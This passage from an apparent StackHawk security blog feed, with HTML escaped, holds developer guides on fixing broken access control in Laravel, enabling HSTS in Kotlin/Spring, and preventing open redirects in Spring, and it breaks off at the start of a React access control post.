seeing what happens? If it showed you some other user&amp;#39;s order information—congratulations, you just discovered an IDOR vulnerability with a broken access control system. The IDOR vulnerability exposes enough information so that the pattern of the reference for internal resources (in this case, orders) is clear. Coupled with a broken access control system, the request for this resource goes through without checking whether the resource should actually be accessible by the user. In a correctly functioning system, only your orders should be visible to you.&lt;/p&gt;&lt;h4&gt;How Do We Fix That?&lt;/h4&gt;&lt;p&gt;To address the IDOR vulnerability, you could use a &lt;a href=&quot;https://dev.to/wilburpowery/easily-use-uuids-in-laravel-45be&quot;&gt;&lt;u&gt;UUID in your Laravel model&lt;/u&gt;&lt;/a&gt; and expose that when referencing resources from outside. For the broken access control issue, the solution would differ based on what type of access control implementation you have. Regardless, the overarching logic would remain the same and would go something like this: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Intercept requests for a resource&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Check whether the requesting user has permission to view that type of resource&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Check whether the requesting user has permission to view that particular resource&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;As mentioned earlier, sometimes you need this specificity and sometimes you don&amp;#39;t. It all depends on the use case. &lt;/p&gt;&lt;p&gt;Now let&amp;#39;s continue with the examples. &lt;/p&gt;&lt;h3&gt;Applying Access Control Only on the Front End&lt;/h3&gt;&lt;p&gt;This is one of those software design choices that will go spectacularly wrong, given enough time. If you move your access control mechanism to the front-end portion of your application, always make sure that the back end still validates the information coming from the user&amp;#39;s end. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Access control on the front end.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Take this form, for example. Here, only customers who have upgraded to the premium plan can change the options indicated by the golden arrow. If a regular user tries to change the values and save the form, an error will be shown to them. Now, this seems a reasonable flow on the surface. But if the access control system doesn&amp;#39;t apply these same rules on the back end of the system, your application would be vulnerable. &lt;/p&gt;&lt;p&gt;The user can use modify the HTML or the payload sent by the form using tools built right into the web browser. Therefore, without back-end validation, the user can get themselves a free upgrade to your system. &lt;/p&gt;&lt;h4&gt;How Do We Fix That?&lt;/h4&gt;&lt;p&gt;Access control validation should always happen in the back end. Once you have it working on the back end, feel free to apply it to the front end as well. &lt;/p&gt;&lt;h3&gt;Not Using a Deny-First Approach&lt;/h3&gt;&lt;p&gt;A deny-first approach (also known as default deny) denies all access to a resource by default. You need to explicitly define the permissions and the relationships between the user role and the resource. Once this is done, you can allow access to the resource. Any request attempt for a vc resource that is not explicitly allowed is automatically denied by the access control system. &lt;/p&gt;&lt;p&gt;The alternative to this is an allow-first approach where specific permissions are explicitly denied and all else is allowed. The problem with this approach is that if you add a new permission interaction and don&amp;#39;t define the deny rules correctly, unauthorized access errors might occur. This can leave your application vulnerable if you&amp;#39;re not careful. &lt;/p&gt;&lt;h4&gt;How Do We Fix That?&lt;/h4&gt;&lt;p&gt;Use a deny-first approach. If you&amp;#39;re using Laravel Policies, start by defining deny as the default position and then explicitly defining the allow conditions. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;As shown in the code above, if the system encounters a case that it doesn&amp;#39;t know about, it will just deny access to the resource. This is much better behavior than exposing sensitive information to an unintended recipient. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Toward a Secure Future&lt;/h2&gt;&lt;p&gt;In this post, we learned about broken access control systems and the damage they can cause. We also learned about some basic mistakes that we should be avoiding and how to fix them. Due to the nature of this vulnerability, broken access control errors are very domain-specific. Therefore, it&amp;#39;s always a good idea to invest in tools and configure them to work with your application and monitor it for vulnerabilities. As the saying goes, forewarned is forearmed. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by John Pereira. &lt;/i&gt;&lt;a href=&quot;http://randomcoding.com/&quot;&gt;&lt;u&gt;&lt;i&gt;John&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a technology enthusiast who&amp;#39;s passionate about his work and all forms of technology. With over 15 years in the technology space, his area of expertise lies in API and large scale web application development, and its related constellation of technologies and processes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin HTTP Strict Transport Security Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Given the extensive resource pool that exists on the web regarding the topic of security and vulnerability mitigation, it&amp;#39;s no surprise to find articles about pretty much every exploit that lurks on the net. Injection, scripting, phishing, you name it. These have all undoubtedly been explored and written about extensively.&lt;/p&gt;&lt;p&gt;However, the world of security and vulnerability mitigation keeps evolving every day. Therefore, it&amp;#39;s essential to keep exploring the different ways they are changing and their impact on our platforms.&lt;/p&gt;&lt;p&gt;The purpose of this article is to examine HTTP strict transport security, or HSTS, and provide a brief but comprehensive analysis of how it protects our users from bad actors. We will start by briefly defining what HSTS is and what makes it a fundamental part of secure communication between server and client. Afterward, we will examine how we can enable this security feature on Kotlin. Finally, we will review some of the issues that might emerge during the process of implementation.&lt;/p&gt;&lt;p&gt;It&amp;#39;s important to note that this article assumes that you have proficiency in Kotlin and Spring Boot. However, if your proficiency level with this development stack is limited or you are just dipping your toes into them, we recommend you visit&lt;a href=&quot;https://spring.io/guides/tutorials/spring-boot-kotlin/&quot;&gt; &lt;u&gt;Spring&amp;#39;s tutorial&lt;/u&gt;&lt;/a&gt; and become acquainted with it. It&amp;#39;s vital to have a basic understanding of these technologies to follow the concepts we explore in this article.&lt;/p&gt;&lt;h2&gt;Starting a Kotlin and Spring Boot Project&lt;/h2&gt;&lt;p&gt;Before we jump into the topic of strict transport security, we have to set up our sample project. We will be following the same structure and pattern of the example project used in the Spring Boot introduction article shared above, so if you took the time to check it out, you can skip this part.&lt;/p&gt;&lt;p&gt;To facilitate the process, we will begin by going to &lt;a href=&quot;https://start.spring.io/&quot;&gt;&lt;u&gt;https://start.spring.io&lt;/u&gt;&lt;/a&gt; and setting up our start-up project. Before downloading the zip file, remember to select &lt;b&gt;Kotlin&lt;/b&gt; as the language and the &lt;b&gt;Spring Web&lt;/b&gt; and &lt;b&gt;Spring Security&lt;/b&gt; dependencies.&lt;/p&gt;&lt;p&gt;Once you have done this and downloaded the template project, proceed to the &lt;b&gt;src/main/kotlin/com/example/blog&lt;/b&gt; folder and create a class file called &lt;b&gt;HtmlController.kt&lt;/b&gt;. We named our project &amp;quot;Blog,&amp;quot; but you can call it whatever you want.&lt;/p&gt;&lt;p&gt;In it, just input the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now, proceed to the &lt;b&gt;src/main/resources/templates&lt;/b&gt; folder and create the header and footer template files. We have chosen the &lt;b&gt;mustache&lt;/b&gt; template syntax for our templates, but you can make them in the syntax of your preference.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Finally, create the &lt;b&gt;blog.mustache&lt;/b&gt; template file and add the following HTML:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;There you go, that&amp;#39;s all you need. You can now proceed to run the code by typing &amp;quot;gradle bootRun&amp;quot; in the terminal and seeing your website by going to localhost:8080.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Simple blog page.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Et voilà.&lt;/p&gt;&lt;p&gt;If you want to have a more concise explanation of what is going on with the project, please explore the Kotlin community and the&lt;a href=&quot;https://spring.io/guides/tutorials/spring-boot-kotlin/&quot;&gt; &lt;u&gt;Spring Boot tutorial&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;What Is HTTP Strict Transport Security?&lt;/h2&gt;&lt;p&gt;Now that we have a basic website running with Kotlin and Spring Boot, let&amp;#39;s talk HTTP strict transport security.&lt;/p&gt;&lt;p&gt;Encryption has been, since the time of its inception, the silver bullet against data eavesdropping. Therefore, guaranteeing the encryption of our transactions with the appropriate protocols is crucial for any web platform to provide security. Still, while the web depends on SSL/TLS protocols to encrypt and secure transactions between the client and server, ensuring that all transactions are protected is entirely different. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s illustrate with a basic scenario.&lt;/p&gt;&lt;p&gt;A typical communication flow between a website and a user first requires making an HTTP request to the domain. Then, if the server in question implements SSL/TLS with a valid certificate and enforces HTTPS rerouting, the user will be redirected (301) to the same site with an HTTPS request. This flow ensures that all communication between the client and server is done securely through encryption.&lt;/p&gt;&lt;p&gt;Except, no, not really.&lt;/p&gt;&lt;p&gt;Consider the following scenario.&lt;/p&gt;&lt;h3&gt;MITM Attack&lt;/h3&gt;&lt;p&gt;An unsuspecting user looking to access our website attempts to reach our server through a compromised network (a counterfeit access point concealed as legitimate). In this case, the initial handshake can open the victim to vulnerabilities in the following way. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The attacker intercepts the communication between client and server, acting as &amp;quot;man in the middle.&amp;quot;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The attacker then rewrites all transactions between themselves and the victim to be unencrypted.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Consequently, all transactions between the attacker and the server remain encrypted, misleading the server to believe the victim is protected.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Meanwhile, the attacker intersects all data the victim sends to our server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Profit.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This attack we just explained is known as SSL stripping. It works by allowing the attacker to act as a communication intermediary. The attacker can then dictate the victim&amp;#39;s security protocol, basically stripping the client of any encryption security.&lt;/p&gt;&lt;p&gt;Not good. So what can we do?&lt;/p&gt;&lt;p&gt;Well, the most critical step in this attack is, of course, the initial handshake that the victim performs at the beginning. &lt;/p&gt;&lt;p&gt;Preventing the exploit from happening requires ensuring that the browser communicates with our server using encryption exclusively. And the best way to do that is, well, to tell the browser to do so explicitly. &lt;/p&gt;&lt;p&gt;This flow is, in essence, what HTTP strict transport security means, and it is a cornerstone of web security.&lt;/p&gt;&lt;h2&gt;Mitigating the Vulnerability&lt;/h2&gt;&lt;p&gt;For the most part, browsers—and the security features they include—do most of the heavy lifting for us to keep our users safe. All we need to do to implement an essential layer of security with HSTS is to add the following header to your server responses:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000 ; includeSubDomains&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;HSTS headers contain three directives (one required and two optional).&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;max-age: This says how long the browser will comply with the policy. We have set the value as 31536000, which equals one year. You can put any value you consider appropriate, but remember that clients won&amp;#39;t access your site if there&amp;#39;s an issue with your SSL certificate once the browser receives the HSTS policy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;includeSubDomains: This is an optional directive that states whether the subdomains will need to comply with the policy. Say you have mywebsite.com with an SSL certificate and you set the header for clients who visit it. That means www.mywebsite.com and subdomain.mywebsite.com will also be required to follow that same HSTS policy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;preload: This optional directive says that you want to add your website to the HSTS preload list included in the browser. This list essentially tells your website to follow HSTS for that client permanently.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Thankfully, the Spring security dependency includes this header by default. However, if you want to do it yourself or make some modifications to the header, you can do the following:&lt;/p&gt;&lt;p&gt;Modify the &lt;b&gt;&amp;lt;hsts&amp;gt;&lt;/b&gt; element like so:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Similarly, you can work with only HSTS by adding the following in the config file:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Additionally, we recommend that you enforce HTTPS on all transactions. To achieve this in Spring Boot, add the following to the config file:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;After that, make sure to create the appropriate certificate and include it in the resource folder.&lt;/p&gt;&lt;p&gt;Finally, making sure we understand the HSTS header is important, but we must also be aware of what happens to websites that are not ready to follow the policy.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Browser error.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;We can see that an error is causing our browser not to display the page. The error indicates that the server listed this website as working exclusively with encryption. However, the browser detected something suspicious.&lt;/p&gt;&lt;h2&gt;Decoding HSTS Errors&lt;/h2&gt;&lt;p&gt;Reading the error, we can have an idea of what the possible sources of the problem are. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;An attacker could be trying to impersonate the server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A Wi-Fi login screen could be causing issues with the loading process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The server doesn&amp;#39;t have a proper SSL/TLS configuration.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We know we purposely set up our website to fail the HSTS policy check. That means our next step should be to ensure that we set up encryption correctly. Also, if we are deploying HSTS for the first time, we have to have a proper implementation plan.&lt;/p&gt;&lt;p&gt;Taking some notes from &lt;a href=&quot;https://scotthelme.co.uk/hsts-cheat-sheet/&quot;&gt;&lt;u&gt;Scott Helme&amp;#39;s HSTS tutorial&lt;/u&gt;&lt;/a&gt;, here is a checklist of steps to follow.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Find all subdomains that belong to your website (consult your DNS CNAME entries). These might belong to third-party services.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Check that the root domain and all subdomains are accessible via HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Confirm that you configured proper redirection of HTTP to HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Choose a short expiration time. For example, you can set &amp;quot;max-age=300&amp;quot; (which is five minutes).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Append the &lt;b&gt;includeSubDomains&lt;/b&gt; directive if necessary.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Increment &lt;b&gt;max-age&lt;/b&gt; in stages. Strive for two years&amp;#39; validity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Once everything looks good, add the &lt;b&gt;preload&lt;/b&gt; directive.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;While optional, you can submit your domain to Google&amp;#39;s HSTS preload list. This will ensure that future versions of major web browsers have your domain preloaded and marked as &amp;quot;secure only.&amp;quot;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Once you follow these steps, you will have a site that enforces HTTPS communication only. From that point on, all users will follow the policy.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Moving On&lt;/h2&gt;&lt;p&gt;Today, encryption is the most vital protection in our arsenal against attackers and malicious exploits. However, as we know already, no solution is absolute, and there is still the possibility of a breach from highly sophisticated attacks. Regardless, implementing SSL/TLS and HSTS policies are rather effective in protecting almost all of the web.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring Open Redirect Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-open-redirect-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Websites and applications are becoming more complex and optimized for each individual user. This creates the need for data that is used to control the user&amp;#39;s flow and permitted actions. One of the most common actions is redirecting the user to another page—whether that&amp;#39;s a login page, a checkout confirmation, or a third-party website. When the parameters are visible in the URL, this is&lt;a href=&quot;https://whatis.techtarget.com/definition/open-redirect&quot;&gt; &lt;u&gt;open redirect&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;So, how can users be sure that the website that they&amp;#39;re being redirected to is the one you intended to send them to?&lt;/p&gt;&lt;p&gt;This post is about open redirect. First, we&amp;#39;ll cover how bad actors could use it to attack users. Then, we&amp;#39;ll discuss some common ways to prevent it. To illustrate this, we&amp;#39;ll build a sample application with&lt;a href=&quot;https://spring.io/projects/spring-boot&quot;&gt; &lt;u&gt;Spring Boot&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://www.thymeleaf.org/&quot;&gt; &lt;u&gt;Thymeleaf&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;First, let&amp;#39;s learn a little more about what open redirect is and what kind of attacks it leaves users vulnerable to.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;What Is Open Redirect?&lt;/h2&gt;&lt;p&gt;Open redirect means having redirection links on the front end of the application, usually in the URL as a parameter. This leaves your users vulnerable to&lt;a href=&quot;https://forbes.com/sites/forbestechcouncil/2020/01/08/the-evolution-of-phishing-and-five-tips-to-avoid-being-caught/?sh=4a7cf35e5adc&quot;&gt; phishing attacks&lt;/a&gt;. Mainly, these redirects are forwarding to an external website outside your domain.&lt;/p&gt;&lt;p&gt;Phishing attacks operate by tricking users into thinking that the website shown is legitimate. Attackers do this to extract confidential information, such as credentials and identifying information.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s an example of how a URL implementing open redirect would be structured: &lt;u&gt;&lt;b&gt;https://example.com/login?url=http://totallytrustworthy.guyfawkes.com&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;&lt;p&gt;Giving users a way to detect an external website and choose if they want to be redirected to it is a great last wall of defense. Spring provides different methods to help you configure redirects.&lt;/p&gt;&lt;h2&gt;How Can You Protect Users With Spring?&lt;/h2&gt;&lt;p&gt;Spring provides different ways to handle redirection inside your app by intercepting requests. The methods we&amp;#39;ll discuss in this article are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;using the MVC controller&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;adding a filter&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;using an exit page&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Now, let&amp;#39;s see how we can screen for this in Spring.&lt;/p&gt;&lt;h3&gt;Sample App&lt;/h3&gt;&lt;p&gt;Before we can start, we first need a sample Spring Boot project. Why use Spring Boot over regular Spring? Well, you can get a lot of default configurations right out of the box.&lt;/p&gt;&lt;p&gt;Now, head over to&lt;a href=&quot;https://start.spring.io/&quot;&gt; &lt;u&gt;https://start.spring.io/&lt;/u&gt;&lt;/a&gt;, and choose Java as your language. Feel free to customize as you wish.&lt;/p&gt;&lt;p&gt;Next, on the right-hand side, click the &lt;b&gt;Add Dependencies&lt;/b&gt; button. After that, select the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Spring Web:&lt;/b&gt; This provides the web&lt;a href=&quot;https://www.tutorialspoint.com/mvc_framework/mvc_framework_introduction.htm&quot;&gt; &lt;u&gt;MVC components&lt;/u&gt;&lt;/a&gt; for the app.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://projectlombok.org/&quot;&gt;&lt;u&gt;&lt;b&gt;Lombok&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; This reduces boilerplate code.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Thymeleaf:&lt;/b&gt; This provides a template engine to display your web pages.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Once you download the project, it&amp;#39;s important to make sure it runs. This demo was created using&lt;a href=&quot;https://gradle.org/&quot;&gt; &lt;u&gt;Gradle&lt;/u&gt;&lt;/a&gt;, but I&amp;#39;ll provide any commands you need for either&lt;a href=&quot;https://maven.apache.org/&quot;&gt; &lt;u&gt;Maven&lt;/u&gt;&lt;/a&gt; or Gradle.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s how the &lt;b&gt;build.gradle&lt;/b&gt; file looks:&lt;/p&gt;&lt;p&gt;And here&amp;#39;s the &lt;b&gt;pom.xml &lt;/b&gt;file:&lt;/p&gt;&lt;p&gt;Let&amp;#39;s keep moving!&lt;/p&gt;&lt;h3&gt;Building the App&lt;/h3&gt;&lt;p&gt;In the root folder, run one of these commands. Which one you choose depends on if you picked Maven or Gradle:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;To run the application: &lt;b&gt;mvn spring-boot:run &lt;/b&gt;(for Maven) or&lt;b&gt; ./gradlew bootRun &lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;To just build the jar: &lt;b&gt;mvn clean package &lt;/b&gt;or&lt;b&gt; ./gradlew bootJar&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;What if you prefer to manually run the jar file? In that case, after calling the build command, you can run &lt;b&gt;java -jar target/project-name.jar&lt;/b&gt; for Maven or&lt;b&gt; java -jar build/lib/project-name.jar &lt;/b&gt;for Gradle.&lt;/p&gt;&lt;p&gt;The default URL for your application will be &lt;b&gt;http://localhost:8080. &lt;/b&gt;&lt;/p&gt;&lt;h3&gt;Default Controller&lt;/h3&gt;&lt;p&gt;In your IDE, open the folder with the main class that contains the &lt;b&gt;@SpringBootApplication &lt;/b&gt;annotation and create a new package called &lt;b&gt;controllers&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Next, create a new Java class named &lt;b&gt;DefaultController &lt;/b&gt;and add the &lt;b&gt;@Controller&lt;/b&gt; annotation on top of the class definition. As a result, all methods inside will be mapped to HTTP requests based on their annotations.&lt;/p&gt;&lt;p&gt;Create a method called &lt;b&gt;home&lt;/b&gt; with the &lt;b&gt;@GetMapping&lt;/b&gt; annotation and return the string &lt;b&gt;home&lt;/b&gt;. This will translate into a route definition by Spring for the root URL.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s create the template.&lt;/p&gt;&lt;p&gt;The Thymeleaf starter configures the templating system in Spring. Go to the &lt;b&gt;src/main/resources/templates&lt;/b&gt; folder, and create a file called &lt;b&gt;home.html&lt;/b&gt;. Add the following HTML code:&lt;/p&gt;&lt;p&gt;Now that we have a working website with a redirect request, let&amp;#39;s see how we can use controllers to intercept the requests.&lt;/p&gt;&lt;h3&gt;Using Controllers&lt;/h3&gt;&lt;p&gt;After you run the application and click the link, you&amp;#39;ll be redirected to the error page. No URL mapping is set up for the &lt;b&gt;/redirect&lt;/b&gt; address—this appears as a fallback.&lt;/p&gt;&lt;p&gt;Going back to the &lt;b&gt;DefaultController&lt;/b&gt;, add the following method signature to handle the call:&lt;/p&gt;&lt;p&gt;The method receives one argument: &lt;b&gt;@RequestParam(&amp;quot;url&amp;quot;) String url&lt;/b&gt;. It takes the URL parameter from the request and provides it in a string for easier access. The return statement includes the &lt;b&gt;redirect:&lt;/b&gt; string, which internally tells Spring that it should redirect to the URL passed after the colon.&lt;/p&gt;&lt;p&gt;In this code sample, I concatenate the destination address so that the redirection takes place. But if the URL is missing, it&amp;#39;ll return to the home page. Here, you can perform tasks such as determining whether it&amp;#39;s a redirect request to the same domain or to an external site (you&amp;#39;ll see a more detailed example of this in the next section). You can either block or approve the request, based on your business rules.&lt;/p&gt;&lt;p&gt;Run the application again, and click the link. Google&amp;#39;s home page should pop up.&lt;/p&gt;&lt;p&gt;But as you might have guessed, doing this with all potential methods will quickly get out of hand. If you want to process all requests from a single point, Filters will be your weapon of choice.&lt;/p&gt;&lt;h3&gt;Using Filters&lt;/h3&gt;&lt;p&gt;The Spring Filter interface lets you intercept all HTTP requests inside the app. With this approach, you can modify the behavior of all redirect requests in one place or implement multiple filters.&lt;/p&gt;&lt;p&gt;To start, go to your app root, and add a new package named &lt;b&gt;filters&lt;/b&gt;. Inside, create a class named &lt;b&gt;RedirectFilter&lt;/b&gt; with the following annotations:&lt;/p&gt;&lt;p&gt;The &lt;b&gt;@Slf4j&lt;/b&gt; is a Lombok annotation that provides logging methods without the normal boilerplate code. To learn more about Lombok annotations, visit the&lt;a href=&quot;https://projectlombok.org/features/all&quot;&gt; &lt;u&gt;docs&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;What about the &lt;b&gt;@Component&lt;/b&gt; annotation? It tells Spring to register this class in the&lt;a href=&quot;http://en.wikipedia.org/wiki/Indicator_of_compromise&quot;&gt; &lt;u&gt;IoC&lt;/u&gt;&lt;/a&gt; container to be available for&lt;a href=&quot;http://en.wikipedia.org/wiki/Dependency_injection#:~:text=In%20software%20engineering%2C%20dependency%20injection,it%20depends%20on%2C%20called%20dependencies.&amp;text=The%20intent%20behind%20dependency%20injection,increase%20readability%20and%20code%20reuse.&quot;&gt; &lt;u&gt;dependency injection (DI)&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;It&amp;#39;s important to override the &lt;b&gt;doFilter()&lt;/b&gt; method to intercept the requests. In this example, I tell the system to check if the URL belongs to the same domain, and if it doesn&amp;#39;t, to ignore the redirection. The result will be a blank page with the text &amp;quot;No escaping the domain!&amp;quot;&lt;/p&gt;&lt;p&gt;We use the &lt;b&gt;isSameDomain()&lt;/b&gt; method to check where the URL is redirecting:&lt;/p&gt;&lt;p&gt;There are cases in which preventing redirections isn&amp;#39;t possible. In those cases, you can alert users that they&amp;#39;re leaving your app by creating an exit page. Let&amp;#39;s explore how to do that.&lt;/p&gt;&lt;h3&gt;Exit Page&lt;/h3&gt;&lt;p&gt;If your app has a lot of user-generated content, there may be links to external sites. Instead of blocking all requests, you could ask the filter you previously made to redirect to an exit page, which is a page that alerts users of the redirection.&lt;/p&gt;&lt;p&gt;First, go to your&lt;b&gt; DefaultController&lt;/b&gt;. Add the following method:&lt;/p&gt;&lt;p&gt;Here, you&amp;#39;re telling the controller: If you get an exit request with no URL, then either redirect to the homepage or open the exit page. The &lt;b&gt;Model &lt;/b&gt;parameter in the method signature allows you to pass variables to your templates so that Thymeleaf can parse them.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s create the exit page template.&lt;/p&gt;&lt;p&gt;Go to the &lt;b&gt;src/main/resources/templates&lt;/b&gt; folder. Create a file called &lt;b&gt;exit.html&lt;/b&gt;, and add the following HTML code:&lt;/p&gt;&lt;p&gt;The &lt;b&gt;th:href&lt;/b&gt; is a Thymeleaf tag that will parse the provided URL variable and create a link.&lt;/p&gt;&lt;p&gt;In the&lt;b&gt; RedirectFilter&lt;/b&gt; class, you can modify your logic to redirect to the exit page instead of displaying the current message.&lt;/p&gt;&lt;p&gt;The &lt;b&gt;getRequestDispatcher()&lt;/b&gt; method forwards to the exit page, where it asks you if we want to leave or return to the home page.&lt;/p&gt;&lt;h3&gt;Summing Up and Learning More&lt;/h3&gt;&lt;p&gt;Users expect security not only with their information, but also just browsing your application. Being able to prevent unauthorized redirection is another layer of protection you can provide. Adding redirect parameters to the URL is a quick and easy way to manage user flow. With these techniques, you can customize to your use cases.&lt;/p&gt;&lt;p&gt;For more information, check out&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;. There&amp;#39;s a&lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt; &lt;u&gt;searchable blog&lt;/u&gt;&lt;/a&gt;, and you can&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;sign up for an account&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Kenneth Reyes. &lt;/i&gt;&lt;a href=&quot;https://portfolio.foocases.com&quot;&gt;&lt;u&gt;&lt;i&gt;Kenneth&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a Full stack developer that has worked in different industries and with clients of all levels. He specializes in Java/Spring, Vue, and DevOps. He strives to make programming interesting for people outside the field.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[React Broken Access Control Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/react-broken-access-control-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;One of the major pitfalls in software development with React and the development process, in general, is security. As a matter of fact, security is just as important on the front end as it is on the server-side. Comparatively, security vulnerabilities on the front end can range from data leaks as a result of a poor state management approach to authentication and authorization. Broken access control is one of the security vulnerabilities that exist with respect to authentication and authorization.&lt;/p&gt;&lt;p&gt;What are some examples of React broken access control, and how can you as a software engineer lookout for these scenarios and prevent attackers from gaining unauthorized access to your application? In this post, I&amp;#39;ll dissect and review these points. I&amp;#39;ll also show you actionable steps to fix major vulnerabilities.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Broken Access Control in 